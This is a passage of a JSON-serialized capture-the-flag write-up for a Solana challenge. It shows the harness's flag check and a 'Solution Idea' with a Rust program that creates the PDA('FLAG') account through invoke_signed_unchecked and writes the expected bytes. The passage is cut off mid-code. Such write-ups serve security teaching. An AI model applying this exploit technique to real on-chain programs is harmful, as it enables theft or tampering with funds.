&user).await?;\n",[40316],{"type":23,"tag":135,"props":40317,"children":40318},{"__ignoreMap":7},[40319,40369],{"type":23,"tag":139,"props":40320,"children":40321},{"class":141,"line":142},[40322,40326,40331,40335,40339,40343,40348,40352,40356,40361,40365],{"type":23,"tag":139,"props":40323,"children":40324},{"style":279},[40325],{"type":28,"value":9798},{"type":23,"tag":139,"props":40327,"children":40328},{"style":294},[40329],{"type":28,"value":40330}," solve_ix",{"type":23,"tag":139,"props":40332,"children":40333},{"style":982},[40334],{"type":28,"value":985},{"type":23,"tag":139,"props":40336,"children":40337},{"style":294},[40338],{"type":28,"value":39935},{"type":23,"tag":139,"props":40340,"children":40341},{"style":982},[40342],{"type":28,"value":73},{"type":23,"tag":139,"props":40344,"children":40345},{"style":245},[40346],{"type":28,"value":40347},"read_instruction",{"type":23,"tag":139,"props":40349,"children":40350},{"style":259},[40351],{"type":28,"value":39917},{"type":23,"tag":139,"props":40353,"children":40354},{"style":982},[40355],{"type":28,"value":1461},{"type":23,"tag":139,"props":40357,"children":40358},{"style":259},[40359],{"type":28,"value":40360},"ID)",{"type":23,"tag":139,"props":40362,"children":40363},{"style":982},[40364],{"type":28,"value":1132},{"type":23,"tag":139,"props":40366,"children":40367},{"style":259},[40368],{"type":28,"value":995},{"type":23,"tag":139,"props":40370,"children":40371},{"class":141,"line":151},[40372,40376,40380,40385,40389,40393,40397,40402,40406,40410,40414,40418,40423,40427,40431,40435,40439,40443,40447,40451],{"type":23,"tag":139,"props":40373,"children":40374},{"style":294},[40375],{"type":28,"value":40104},{"type":23,"tag":139,"props":40377,"children":40378},{"style":982},[40379],{"type":28,"value":73},{"type":23,"tag":139,"props":40381,"children":40382},{"style":245},[40383],{"type":28,"value":40384},"run_ixs_full",{"type":23,"tag":139,"props":40386,"children":40387},{"style":259},[40388],{"type":28,"value":262},{"type":23,"tag":139,"props":40390,"children":40391},{"style":982},[40392],{"type":28,"value":1085},{"type":23,"tag":139,"props":40394,"children":40395},{"style":259},[40396],{"type":28,"value":1723},{"type":23,"tag":139,"props":40398,"children":40399},{"style":294},[40400],{"type":28,"value":40401},"solve_ix",{"type":23,"tag":139,"props":40403,"children":40404},{"style":259},[40405],{"type":28,"value":21069},{"type":23,"tag":139,"props":40407,"children":40408},{"style":982},[40409],{"type":28,"value":1085},{"type":23,"tag":139,"props":40411,"children":40412},{"style":259},[40413],{"type":28,"value":1723},{"type":23,"tag":139,"props":40415,"children":40416},{"style":982},[40417],{"type":28,"value":1085},{"type":23,"tag":139,"props":40419,"children":40420},{"style":294},[40421],{"type":28,"value":40422},"user_keypair",{"type":23,"tag":139,"props":40424,"children":40425},{"style":259},[40426],{"type":28,"value":21069},{"type":23,"tag":139,"props":40428,"children":40429},{"style":982},[40430],{"type":28,"value":1085},{"type":23,"tag":139,"props":40432,"children":40433},{"style":294},[40434],{"type":28,"value":18240},{"type":23,"tag":139,"props":40436,"children":40437},{"style":259},[40438],{"type":28,"value":1104},{"type":23,"tag":139,"props":40440,"children":40441},{"style":982},[40442],{"type":28,"value":73},{"type":23,"tag":139,"props":40444,"children":40445},{"style":319},[40446],{"type":28,"value":30804},{"type":23,"tag":139,"props":40448,"children":40449},{"style":982},[40450],{"type":28,"value":1132},{"type":23,"tag":139,"props":40452,"children":40453},{"style":259},[40454],{"type":28,"value":995},{"type":23,"tag":797,"props":40456,"children":40457},{"start":169},[40458],{"type":23,"tag":801,"props":40459,"children":40460},{},[40461],{"type":28,"value":40462},"Checks that the account at PDA(\"FLAG\") exists, has a data length of 0x1337 and the first 8 bytes are equal to 0x4337. If so, it prints the flag.",{"type":23,"tag":128,"props":40464,"children":40466},{"className":948,"code":40465,"language":947,"meta":7,"style":7},"let flag = Pubkey::create_program_address(&[\"FLAG\".as_ref()], &chall::ID)?;\nif let Some(acct) = chall.ctx.banks_client.get_account(flag).await? {\n    if acct.data.len() == 0x1337\n        && u64::from_le_bytes(acct.data[..8].try_into().unwrap()) == 0x4337\n    {\n        writeln!(socket, \"congrats!\")?;\n        if let Ok(flag) = env::var(\"FLAG\") {\n            writeln!(socket, \"flag: {:?}\", flag)?;\n        } else {\n            writeln!(socket, \"flag not found, please contact admin\")?;\n        }\n    }\n}\n",[40467],{"type":23,"tag":135,"props":40468,"children":40469},{"__ignoreMap":7},[40470,40554,40645,40686,40770,40777,40814,40871,40916,40931,40967,40974,40981],{"type":23,"tag":139,"props":40471,"children":40472},{"class":141,"line":142},[40473,40477,40482,40486,40490,40494,40499,40503,40507,40511,40516,40520,40525,40530,40534,40538,40542,40546,40550],{"type":23,"tag":139,"props":40474,"children":40475},{"style":279},[40476],{"type":28,"value":9798},{"type":23,"tag":139,"props":40478,"children":40479},{"style":294},[40480],{"type":28,"value":40481}," flag",{"type":23,"tag":139,"props":40483,"children":40484},{"style":982},[40485],{"type":28,"value":985},{"type":23,"tag":139,"props":40487,"children":40488},{"style":305},[40489],{"type":28,"value":18865},{"type":23,"tag":139,"props":40491,"children":40492},{"style":982},[40493],{"type":28,"value":1461},{"type":23,"tag":139,"props":40495,"children":40496},{"style":245},[40497],{"type":28,"value":40498},"create_program_address",{"type":23,"tag":139,"props":40500,"children":40501},{"style":259},[40502],{"type":28,"value":262},{"type":23,"tag":139,"props":40504,"children":40505},{"style":982},[40506],{"type":28,"value":1085},{"type":23,"tag":139,"props":40508,"children":40509},{"style":259},[40510],{"type":28,"value":1723},{"type":23,"tag":139,"props":40512,"children":40513},{"style":265},[40514],{"type":28,"value":40515},"\"FLAG\"",{"type":23,"tag":139,"props":40517,"children":40518},{"style":982},[40519],{"type":28,"value":73},{"type":23,"tag":139,"props":40521,"children":40522},{"style":245},[40523],{"type":28,"value":40524},"as_ref",{"type":23,"tag":139,"props":40526,"children":40527},{"style":259},[40528],{"type":28,"value":40529},"()], ",{"type":23,"tag":139,"props":40531,"children":40532},{"style":982},[40533],{"type":28,"value":1085},{"type":23,"tag":139,"props":40535,"children":40536},{"style":259},[40537],{"type":28,"value":40104},{"type":23,"tag":139,"props":40539,"children":40540},{"style":982},[40541],{"type":28,"value":1461},{"type":23,"tag":139,"props":40543,"children":40544},{"style":259},[40545],{"type":28,"value":40360},{"type":23,"tag":139,"props":40547,"children":40548},{"style":982},[40549],{"type":28,"value":1132},{"type":23,"tag":139,"props":40551,"children":40552},{"style":259},[40553],{"type":28,"value":995},{"type":23,"tag":139,"props":40555,"children":40556},{"class":141,"line":151},[40557,40561,40565,40569,40573,40578,40582,40586,40590,40594,40598,40602,40607,40611,40616,40620,40625,40629,40633,40637,40641],{"type":23,"tag":139,"props":40558,"children":40559},{"style":319},[40560],{"type":28,"value":13590},{"type":23,"tag":139,"props":40562,"children":40563},{"style":279},[40564],{"type":28,"value":25326},{"type":23,"tag":139,"props":40566,"children":40567},{"style":305},[40568],{"type":28,"value":25331},{"type":23,"tag":139,"props":40570,"children":40571},{"style":259},[40572],{"type":28,"value":262},{"type":23,"tag":139,"props":40574,"children":40575},{"style":294},[40576],{"type":28,"value":40577},"acct",{"type":23,"tag":139,"props":40579,"children":40580},{"style":259},[40581],{"type":28,"value":1062},{"type":23,"tag":139,"props":40583,"children":40584},{"style":982},[40585],{"type":28,"value":1067},{"type":23,"tag":139,"props":40587,"children":40588},{"style":294},[40589],{"type":28,"value":39935},{"type":23,"tag":139,"props":40591,"children":40592},{"style":982},[40593],{"type":28,"value":73},{"type":23,"tag":139,"props":40595,"children":40596},{"style":259},[40597],{"type":28,"value":18288},{"type":23,"tag":139,"props":40599,"children":40600},{"style":982},[40601],{"type":28,"value":73},{"type":23,"tag":139,"props":40603,"children":40604},{"style":259},[40605],{"type":28,"value":40606},"banks_client",{"type":23,"tag":139,"props":40608,"children":40609},{"style":982},[40610],{"type":28,"value":73},{"type":23,"tag":139,"props":40612,"children":40613},{"style":245},[40614],{"type":28,"value":40615},"get_account",{"type":23,"tag":139,"props":40617,"children":40618},{"style":259},[40619],{"type":28,"value":262},{"type":23,"tag":139,"props":40621,"children":40622},{"style":294},[40623],{"type":28,"value":40624},"flag",{"type":23,"tag":139,"props":40626,"children":40627},{"style":259},[40628],{"type":28,"value":1104},{"type":23,"tag":139,"props":40630,"children":40631},{"style":982},[40632],{"type":28,"value":73},{"type":23,"tag":139,"props":40634,"children":40635},{"style":319},[40636],{"type":28,"value":30804},{"type":23,"tag":139,"props":40638,"children":40639},{"style":982},[40640],{"type":28,"value":1132},{"type":23,"tag":139,"props":40642,"children":40643},{"style":259},[40644],{"type":28,"value":1268},{"type":23,"tag":139,"props":40646,"children":40647},{"class":141,"line":160},[40648,40652,40657,40661,40665,40669,40673,40677,40681],{"type":23,"tag":139,"props":40649,"children":40650},{"style":319},[40651],{"type":28,"value":10290},{"type":23,"tag":139,"props":40653,"children":40654},{"style":294},[40655],{"type":28,"value":40656}," acct",{"type":23,"tag":139,"props":40658,"children":40659},{"style":982},[40660],{"type":28,"value":73},{"type":23,"tag":139,"props":40662,"children":40663},{"style":259},[40664],{"type":28,"value":1691},{"type":23,"tag":139,"props":40666,"children":40667},{"style":982},[40668],{"type":28,"value":73},{"type":23,"tag":139,"props":40670,"children":40671},{"style":245},[40672],{"type":28,"value":7146},{"type":23,"tag":139,"props":40674,"children":40675},{"style":259},[40676],{"type":28,"value":12054},{"type":23,"tag":139,"props":40678,"children":40679},{"style":982},[40680],{"type":28,"value":6580},{"type":23,"tag":139,"props":40682,"children":40683},{"style":1016},[40684],{"type":28,"value":40685}," 0x1337\n",{"type":23,"tag":139,"props":40687,"children":40688},{"class":141,"line":169},[40689,40694,40698,40702,40707,40711,40715,40719,40724,40728,40732,40736,40740,40744,40748,40752,40756,40761,40765],{"type":23,"tag":139,"props":40690,"children":40691},{"style":982},[40692],{"type":28,"value":40693},"        &&",{"type":23,"tag":139,"props":40695,"children":40696},{"style":305},[40697],{"type":28,"value":3862},{"type":23,"tag":139,"props":40699,"children":40700},{"style":982},[40701],{"type":28,"value":1461},{"type":23,"tag":139,"props":40703,"children":40704},{"style":245},[40705],{"type":28,"value":40706},"from_le_bytes",{"type":23,"tag":139,"props":40708,"children":40709},{"style":259},[40710],{"type":28,"value":262},{"type":23,"tag":139,"props":40712,"children":40713},{"style":294},[40714],{"type":28,"value":40577},{"type":23,"tag":139,"props":40716,"children":40717},{"style":982},[40718],{"type":28,"value":73},{"type":23,"tag":139,"props":40720,"children":40721},{"style":259},[40722],{"type":28,"value":40723},"data[",{"type":23,"tag":139,"props":40725,"children":40726},{"style":982},[40727],{"type":28,"value":1024},{"type":23,"tag":139,"props":40729,"children":40730},{"style":1016},[40731],{"type":28,"value":2075},{"type":23,"tag":139,"props":40733,"children":40734},{"style":259},[40735],{"type":28,"value":13423},{"type":23,"tag":139,"props":40737,"children":40738},{"style":982},[40739],{"type":28,"value":73},{"type":23,"tag":139,"props":40741,"children":40742},{"style":245},[40743],{"type":28,"value":24183},{"type":23,"tag":139,"props":40745,"children":40746},{"style":259},[40747],{"type":28,"value":11890},{"type":23,"tag":139,"props":40749,"children":40750},{"style":982},[40751],{"type":28,"value":73},{"type":23,"tag":139,"props":40753,"children":40754},{"style":245},[40755],{"type":28,"value":1651},{"type":23,"tag":139,"props":40757,"children":40758},{"style":259},[40759],{"type":28,"value":40760},"()) ",{"type":23,"tag":139,"props":40762,"children":40763},{"style":982},[40764],{"type":28,"value":6580},{"type":23,"tag":139,"props":40766,"children":40767},{"style":1016},[40768],{"type":28,"value":40769}," 0x4337\n",{"type":23,"tag":139,"props":40771,"children":40772},{"class":141,"line":178},[40773],{"type":23,"tag":139,"props":40774,"children":40775},{"style":259},[40776],{"type":28,"value":27209},{"type":23,"tag":139,"props":40778,"children":40779},{"class":141,"line":187},[40780,40785,40789,40793,40797,40802,40806,40810],{"type":23,"tag":139,"props":40781,"children":40782},{"style":245},[40783],{"type":28,"value":40784},"        writeln!",{"type":23,"tag":139,"props":40786,"children":40787},{"style":259},[40788],{"type":28,"value":262},{"type":23,"tag":139,"props":40790,"children":40791},{"style":294},[40792],{"type":28,"value":39830},{"type":23,"tag":139,"props":40794,"children":40795},{"style":259},[40796],{"type":28,"value":1052},{"type":23,"tag":139,"props":40798,"children":40799},{"style":265},[40800],{"type":28,"value":40801},"\"congrats!\"",{"type":23,"tag":139,"props":40803,"children":40804},{"style":259},[40805],{"type":28,"value":1104},{"type":23,"tag":139,"props":40807,"children":40808},{"style":982},[40809],{"type":28,"value":1132},{"type":23,"tag":139,"props":40811,"children":40812},{"style":259},[40813],{"type":28,"value":995},{"type":23,"tag":139,"props":40815,"children":40816},{"class":141,"line":196},[40817,40821,40825,40830,40834,40838,40842,40846,40851,40855,40859,40863,40867],{"type":23,"tag":139,"props":40818,"children":40819},{"style":319},[40820],{"type":28,"value":1249},{"type":23,"tag":139,"props":40822,"children":40823},{"style":279},[40824],{"type":28,"value":25326},{"type":23,"tag":139,"props":40826,"children":40827},{"style":305},[40828],{"type":28,"value":40829}," Ok",{"type":23,"tag":139,"props":40831,"children":40832},{"style":259},[40833],{"type":28,"value":262},{"type":23,"tag":139,"props":40835,"children":40836},{"style":294},[40837],{"type":28,"value":40624},{"type":23,"tag":139,"props":40839,"children":40840},{"style":259},[40841],{"type":28,"value":1062},{"type":23,"tag":139,"props":40843,"children":40844},{"style":982},[40845],{"type":28,"value":1067},{"type":23,"tag":139,"props":40847,"children":40848},{"style":259},[40849],{"type":28,"value":40850}," env",{"type":23,"tag":139,"props":40852,"children":40853},{"style":982},[40854],{"type":28,"value":1461},{"type":23,"tag":139,"props":40856,"children":40857},{"style":245},[40858],{"type":28,"value":32936},{"type":23,"tag":139,"props":40860,"children":40861},{"style":259},[40862],{"type":28,"value":262},{"type":23,"tag":139,"props":40864,"children":40865},{"style":265},[40866],{"type":28,"value":40515},{"type":23,"tag":139,"props":40868,"children":40869},{"style":259},[40870],{"type":28,"value":12815},{"type":23,"tag":139,"props":40872,"children":40873},{"class":141,"line":205},[40874,40879,40883,40887,40891,40896,40900,40904,40908,40912],{"type":23,"tag":139,"props":40875,"children":40876},{"style":245},[40877],{"type":28,"value":40878},"            writeln!",{"type":23,"tag":139,"props":40880,"children":40881},{"style":259},[40882],{"type":28,"value":262},{"type":23,"tag":139,"props":40884,"children":40885},{"style":294},[40886],{"type":28,"value":39830},{"type":23,"tag":139,"props":40888,"children":40889},{"style":259},[40890],{"type":28,"value":1052},{"type":23,"tag":139,"props":40892,"children":40893},{"style":265},[40894],{"type":28,"value":40895},"\"flag: {:?}\"",{"type":23,"tag":139,"props":40897,"children":40898},{"style":259},[40899],{"type":28,"value":1052},{"type":23,"tag":139,"props":40901,"children":40902},{"style":294},[40903],{"type":28,"value":40624},{"type":23,"tag":139,"props":40905,"children":40906},{"style":259},[40907],{"type":28,"value":1104},{"type":23,"tag":139,"props":40909,"children":40910},{"style":982},[40911],{"type":28,"value":1132},{"type":23,"tag":139,"props":40913,"children":40914},{"style":259},[40915],{"type":28,"value":995},{"type":23,"tag":139,"props":40917,"children":40918},{"class":141,"line":214},[40919,40923,40927],{"type":23,"tag":139,"props":40920,"children":40921},{"style":259},[40922],{"type":28,"value":1288},{"type":23,"tag":139,"props":40924,"children":40925},{"style":319},[40926],{"type":28,"value":1293},{"type":23,"tag":139,"props":40928,"children":40929},{"style":259},[40930],{"type":28,"value":1268},{"type":23,"tag":139,"props":40932,"children":40933},{"class":141,"line":1320},[40934,40938,40942,40946,40950,40955,40959,40963],{"type":23,"tag":139,"props":40935,"children":40936},{"style":245},[40937],{"type":28,"value":40878},{"type":23,"tag":139,"props":40939,"children":40940},{"style":259},[40941],{"type":28,"value":262},{"type":23,"tag":139,"props":40943,"children":40944},{"style":294},[40945],{"type":28,"value":39830},{"type":23,"tag":139,"props":40947,"children":40948},{"style":259},[40949],{"type":28,"value":1052},{"type":23,"tag":139,"props":40951,"children":40952},{"style":265},[40953],{"type":28,"value":40954},"\"flag not found, please contact admin\"",{"type":23,"tag":139,"props":40956,"children":40957},{"style":259},[40958],{"type":28,"value":1104},{"type":23,"tag":139,"props":40960,"children":40961},{"style":982},[40962],{"type":28,"value":1132},{"type":23,"tag":139,"props":40964,"children":40965},{"style":259},[40966],{"type":28,"value":995},{"type":23,"tag":139,"props":40968,"children":40969},{"class":141,"line":1329},[40970],{"type":23,"tag":139,"props":40971,"children":40972},{"style":259},[40973],{"type":28,"value":1326},{"type":23,"tag":139,"props":40975,"children":40976},{"class":141,"line":1580},[40977],{"type":23,"tag":139,"props":40978,"children":40979},{"style":259},[40980],{"type":28,"value":1335},{"type":23,"tag":139,"props":40982,"children":40983},{"class":141,"line":1597},[40984],{"type":23,"tag":139,"props":40985,"children":40986},{"style":259},[40987],{"type":28,"value":1897},{"type":23,"tag":41,"props":40989,"children":40991},{"id":40990},"solution-idea",[40992],{"type":28,"value":40993},"Solution Idea",{"type":23,"tag":24,"props":40995,"children":40996},{},[40997,40999,41004],{"type":28,"value":40998},"You may think it's impossible to do with just one instruction, but we can actually leverage the ",{"type":23,"tag":135,"props":41000,"children":41002},{"className":41001},[],[41003],{"type":28,"value":33571},{"type":28,"value":41005}," function to execute infinite instructions. Well -- not entirely infinite, as we are limited by the amount of data we can pass to the on-chain program, and by the maximum stack depth of the Solana VM -- but we can execute up to 64 instructions, which is more than enough to get the flag.",{"type":23,"tag":24,"props":41007,"children":41008},{},[41009,41011,41017],{"type":28,"value":41010},"In order to get the flag, we need to make sure that the account at ",{"type":23,"tag":135,"props":41012,"children":41014},{"className":41013},[],[41015],{"type":28,"value":41016},"PDA(\"FLAG\")",{"type":28,"value":41018}," exists, has a data length of 0x1337, and the first 8 bytes are equal to 0x4337.",{"type":23,"tag":24,"props":41020,"children":41021},{},[41022,41024,41031],{"type":28,"value":41023},"Essentially, we need to ",{"type":23,"tag":64,"props":41025,"children":41028},{"href":41026,"rel":41027},"https://docs.solana.com/developing/runtime-facilities/programs#system-program",[68],[41029],{"type":28,"value":41030},"invoke the System Program",{"type":28,"value":41032},", and write controlled data into the newly created account.",{"type":23,"tag":24,"props":41034,"children":41035},{},[41036],{"type":28,"value":41037},"A sample program that does this is as follows:",{"type":23,"tag":128,"props":41039,"children":41041},{"className":948,"code":41040,"language":947,"meta":7,"style":7},"pub fn process_instruction(\n    program_id: &Pubkey,\n    accounts: &[AccountInfo],\n    data: &[u8]\n) -> ProgramResult {\n    let flag_pda_ai = &accounts[0];\n    let user_ai = &accounts[1];\n\n    // Step 1: Create a new account with 0x1337 bytes of data\n    let instruction = Instruction::new_with_bincode(\n        system_program::ID,\n        &SystemInstruction::CreateAccount {\n            space: 0x1337,\n            lamports: Rent::default().minimum_balance(0x1337),\n            owner: chall::ID\n        },\n        vec![\n            AccountMeta::new(*user_ai.key, true),\n            AccountMeta::new(*flag_pda_ai.key, true),\n        ],\n    );\n    invoke_signed_unchecked(\n        &instruction,\n        &[\n            user_ai.clone(),\n            flag_pda_ai.clone(),\n        ],\n        &[&[\"FLAG\".as_ref()]],\n    )?;\n\n    // Step 2: Write 0x4337 to the first 8 bytes of the account\n    flag_pda_ai.try_borrow_mut_data()?[..8].copy_from_slice(&0x4337u64.to_le_bytes());\n\n    Ok(())\n}\n",[41042],{"type":23,"tag":135,"props":41043,"children":41044},{"__ignoreMap":7},[41045,41065,41089,41117,41145,41165,41201,41237,41244,41252,41285,41302,41327,41348,41400,41425,41432,41445,41491,41535,41543,41551,41562,41578,41589,41609,41629,41636,41672,41687,41694,41702,41781,41788,41799],{"type":23,"tag":139,"props":41046,"children":41047},{"class":141,"line":142},[41048,41052,41056,41061],{"type":23,"tag":139,"props":41049,"children":41050},{"style":279},[41051],{"type":28,"value":11701},{"type":23,"tag":139,"props":41053,"children":41054},{"style":279},[41055],{"type":28,"value":11706},{"type":23,"tag":139,"props":41057,"children":41058},{"style":245},[41059],{"type":28,"value":41060}," process_instruction",{"type":23,"tag":139,"props":41062,"children":41063},{"style":259},[41064],{"type":28,"value":1443},{"type":23,"tag":139,"props":41066,"children":41067},{"class":141,"line":151},[41068,41073,41077,41081,41085],{"type":23,"tag":139,"props":41069,"children":41070},{"style":294},[41071],{"type":28,"value":41072},"    program_id",{"type":23,"tag":139,"props":41074,"children":41075},{"style":982},[41076],{"type":28,"value":2493},{"type":23,"tag":139,"props":41078,"children":41079},{"style":982},[41080],{"type":28,"value":5144},{"type":23,"tag":139,"props":41082,"children":41083},{"style":305},[41084],{"type":28,"value":19406},{"type":23,"tag":139,"props":41086,"children":41087},{"style":259},[41088],{"type":28,"value":1488},{"type":23,"tag":139,"props":41090,"children":41091},{"class":141,"line":160},[41092,41097,41101,41105,41109,41113],{"type":23,"tag":139,"props":41093,"children":41094},{"style":294},[41095],{"type":28,"value":41096},"    accounts",{"type":23,"tag":139,"props":41098,"children":41099},{"style":982},[41100],{"type":28,"value":2493},{"type":23,"tag":139,"props":41102,"children":41103},{"style":982},[41104],{"type":28,"value":5144},{"type":23,"tag":139,"props":41106,"children":41107},{"style":259},[41108],{"type":28,"value":1723},{"type":23,"tag":139,"props":41110,"children":41111},{"style":305},[41112],{"type":28,"value":12950},{"type":23,"tag":139,"props":41114,"children":41115},{"style":259},[41116],{"type":28,"value":12274},{"type":23,"tag":139,"props":41118,"children":41119},{"class":141,"line":169},[41120,41125,41129,41133,41137,41141],{"type":23,"tag":139,"props":41121,"children":41122},{"style":294},[41123],{"type":28,"value":41124},"    data",{"type":23,"tag":139,"props":41126,"children":41127},{"style":982},[41128],{"type":28,"value":2493},{"type":23,"tag":139,"props":41130,"children":41131},{"style":982},[41132],{"type":28,"value":5144},{"type":23,"tag":139,"props":41134,"children":41135},{"style":259},[41136],{"type":28,"value":1723},{"type":23,"tag":139,"props":41138,"children":41139},{"style":305},[41140],{"type":28,"value":1401},{"type":23,"tag":139,"props":41142,"children":41143},{"style":259},[41144],{"type":28,"value":9783},{"type":23,"tag":139,"props":41146,"children":41147},{"class":141,"line":178},[41148,41152,41156,41161],{"type":23,"tag":139,"props":41149,"children":41150},{"style":259},[41151],{"type":28,"value":1062},{"type":23,"tag":139,"props":41153,"children":41154},{"style":982},[41155],{"type":28,"value":11768},{"type":23,"tag":139,"props":41157,"children":41158},{"style":305},[41159],{"type":28,"value":41160}," ProgramResult",{"type":23,"tag":139,"props":41162,"children":41163},{"style":259},[41164],{"type":28,"value":1268},{"type":23,"tag":139,"props":41166,"children":41167},{"class":141,"line":187},[41168,41172,41177,41181,41185,41189,41193,41197],{"type":23,"tag":139,"props":41169,"children":41170},{"style":279},[41171],{"type":28,"value":969},{"type":23,"tag":139,"props":41173,"children":41174},{"style":294},[41175],{"type":28,"value":41176}," flag_pda_ai",{"type":23,"tag":139,"props":41178,"children":41179},{"style":982},[41180],{"type":28,"value":985},{"type":23,"tag":139,"props":41182,"children":41183},{"style":982},[41184],{"type":28,"value":5144},{"type":23,"tag":139,"props":41186,"children":41187},{"style":294},[41188],{"type":28,"value":12686},{"type":23,"tag":139,"props":41190,"children":41191},{"style":259},[41192],{"type":28,"value":1723},{"type":23,"tag":139,"props":41194,"children":41195},{"style":1016},[41196],{"type":28,"value":2021},{"type":23,"tag":139,"props":41198,"children":41199},{"style":259},[41200],{"type":28,"value":29461},{"type":23,"tag":139,"props":41202,"children":41203},{"class":141,"line":196},[41204,41208,41213,41217,41221,41225,41229,41233],{"type":23,"tag":139,"props":41205,"children":41206},{"style":279},[41207],{"type":28,"value":969},{"type":23,"tag":139,"props":41209,"children":41210},{"style":294},[41211],{"type":28,"value":41212}," user_ai",{"type":23,"tag":139,"props":41214,"children":41215},{"style":982},[41216],{"type":28,"value":985},{"type":23,"tag":139,"props":41218,"children":41219},{"style":982},[41220],{"type":28,"value":5144},{"type":23,"tag":139,"props":41222,"children":41223},{"style":294},[41224],{"type":28,"value":12686},{"type":23,"tag":139,"props":41226,"children":41227},{"style":259},[41228],{"type":28,"value":1723},{"type":23,"tag":139,"props":41230,"children":41231},{"style":1016},[41232],{"type":28,"value":647},{"type":23,"tag":139,"props":41234,"children":41235},{"style":259},[41236],{"type":28,"value":29461},{"type":23,"tag":139,"props":41238,"children":41239},{"class":141,"line":205},[41240],{"type":23,"tag":139,"props":41241,"children":41242},{"emptyLinePlaceholder":15},[41243],{"type":28,"value":184},{"type":23,"tag":139,"props":41245,"children":41246},{"class":141,"line":214},[41247],{"type":23,"tag":139,"props":41248,"children":41249},{"style":958},[41250],{"type":28,"value":41251},"    // Step 1: Create a new account with 0x1337 bytes of data\n",{"type":23,"tag":139,"props":41253,"children":41254},{"class":141,"line":1320},[41255,41259,41264,41268,41272,41276,41281],{"type":23,"tag":139,"props":41256,"children":41257},{"style":279},[41258],{"type":28,"value":969},{"type":23,"tag":139,"props":41260,"children":41261},{"style":294},[41262],{"type":28,"value":41263}," instruction",{"type":23,"tag":139,"props":41265,"children":41266},{"style":982},[41267],{"type":28,"value":985},{"type":23,"tag":139,"props":41269,"children":41270},{"style":305},[41271],{"type":28,"value":38903},{"type":23,"tag":139,"props":41273,"children":41274},{"style":982},[41275],{"type":28,"value":1461},{"type":23,"tag":139,"props":41277,"children":41278},{"style":245},[41279],{"type":28,"value":41280},"new_with_bincode",{"type":23,"tag":139,"props":41282,"children":41283},{"style":259},[41284],{"type":28,"value":1443},{"type":23,"tag":139,"props":41286,"children":41287},{"class":141,"line":1329},[41288,41293,41297],{"type":23,"tag":139,"props":41289,"children":41290},{"style":259},[41291],{"type":28,"value":41292},"        system_program",{"type":23,"tag":139,"props":41294,"children":41295},{"style":982},[41296],{"type":28,"value":1461},{"type":23,"tag":139,"props":41298,"children":41299},{"style":259},[41300],{"type":28,"value":41301},"ID,\n",{"type":23,"tag":139,"props":41303,"children":41304},{"class":141,"line":1580},[41305,41309,41314,41318,41323],{"type":23,"tag":139,"props":41306,"children":41307},{"style":982},[41308],{"type":28,"value":1451},{"type":23,"tag":139,"props":41310,"children":41311},{"style":259},[41312],{"type":28,"value":41313},"SystemInstruction",{"type":23,"tag":139,"props":41315,"children":41316},{"style":982},[41317],{"type":28,"value":1461},{"type":23,"tag":139,"props":41319,"children":41320},{"style":305},[41321],{"type":28,"value":41322},"CreateAccount",{"type":23,"tag":139,"props":41324,"children":41325},{"style":259},[41326],{"type":28,"value":1268},{"type":23,"tag":139,"props":41328,"children":41329},{"class":141,"line":1597},[41330,41335,41339,41344],{"type":23,"tag":139,"props":41331,"children":41332},{"style":294},[41333],{"type":28,"value":41334},"            space",{"type":23,"tag":139,"props":41336,"children":41337},{"style":982},[41338],{"type":28,"value":2493},{"type":23,"tag":139,"props":41340,"children":41341},{"style":1016},[41342],{"type":28,"value":41343}," 0x1337",{"type":23,"tag":139,"props":41345,"children":41346},{"style":259},[41347],{"type":28,"value":1488},{"type":23,"tag":139,"props":41349,"children":41350},{"class":141,"line":1614},[41351,41356,41360,41365,41369,41374,41378,41382,41387,41391,41396],{"type":23,"tag":139,"props":41352,"children":41353},{"style":294},[41354],{"type":28,"value":41355},"            lamports",{"type":23,"tag":139,"props":41357,"children":41358},{"style":982},[41359],{"type":28,"value":2493},{"type":23,"tag":139,"props":41361,"children":41362},{"style":259},[41363],{"type":28,"value":41364}," Rent",{"type":23,"tag":139,"props":41366,"children":41367},{"style":982},[41368],{"type":28,"value":1461},{"type":23,"tag":139,"props":41370,"children":41371},{"style":245},[41372],{"type":28,"value":41373},"default",{"type":23,"tag":139,"props":41375,"children":41376},{"style":259},[41377],{"type":28,"value":11890},{"type":23,"tag":139,"props":41379,"children":41380},{"style":982},[41381],{"type":28,"value":73},{"type":23,"tag":139,"props":41383,"children":41384},{"style":245},[41385],{"type":28,"value":41386},"minimum_balance",{"type":23,"tag":139,"props":41388,"children":41389},{"style":259},[41390],{"type":28,"value":262},{"type":23,"tag":139,"props":41392,"children":41393},{"style":1016},[41394],{"type":28,"value":41395},"0x1337",{"type":23,"tag":139,"props":41397,"children":41398},{"style":259},[41399],{"type":28,"value":4739},{"type":23,"tag":139,"props":41401,"children":41402},{"class":141,"line":1627},[41403,41408,41412,41416,41420],{"type":23,"tag":139,"props":41404,"children":41405},{"style":294},[41406],{"type":28,"value":41407},"            owner",{"type":23,"tag":139,"props":41409,"children":41410},{"style":982},[41411],{"type":28,"value":2493},{"type":23,"tag":139,"props":41413,"children":41414},{"style":259},[41415],{"type":28,"value":39935},{"type":23,"tag":139,"props":41417,"children":41418},{"style":982},[41419],{"type":28,"value":1461},{"type":23,"tag":139,"props":41421,"children":41422},{"style":259},[41423],{"type":28,"value":41424},"ID\n",{"type":23,"tag":139,"props":41426,"children":41427},{"class":141,"line":1636},[41428],{"type":23,"tag":139,"props":41429,"children":41430},{"style":259},[41431],{"type":28,"value":23394},{"type":23,"tag":139,"props":41433,"children":41434},{"class":141,"line":1659},[41435,41440],{"type":23,"tag":139,"props":41436,"children":41437},{"style":245},[41438],{"type":28,"value":41439},"        vec!",{"type":23,"tag":139,"props":41441,"children":41442},{"style":259},[41443],{"type":28,"value":41444},"[\n",{"type":23,"tag":139,"props":41446,"children":41447},{"class":141,"line":1667},[41448,41453,41457,41461,41465,41469,41474,41478,41483,41487],{"type":23,"tag":139,"props":41449,"children":41450},{"style":259},[41451],{"type":28,"value":41452},"            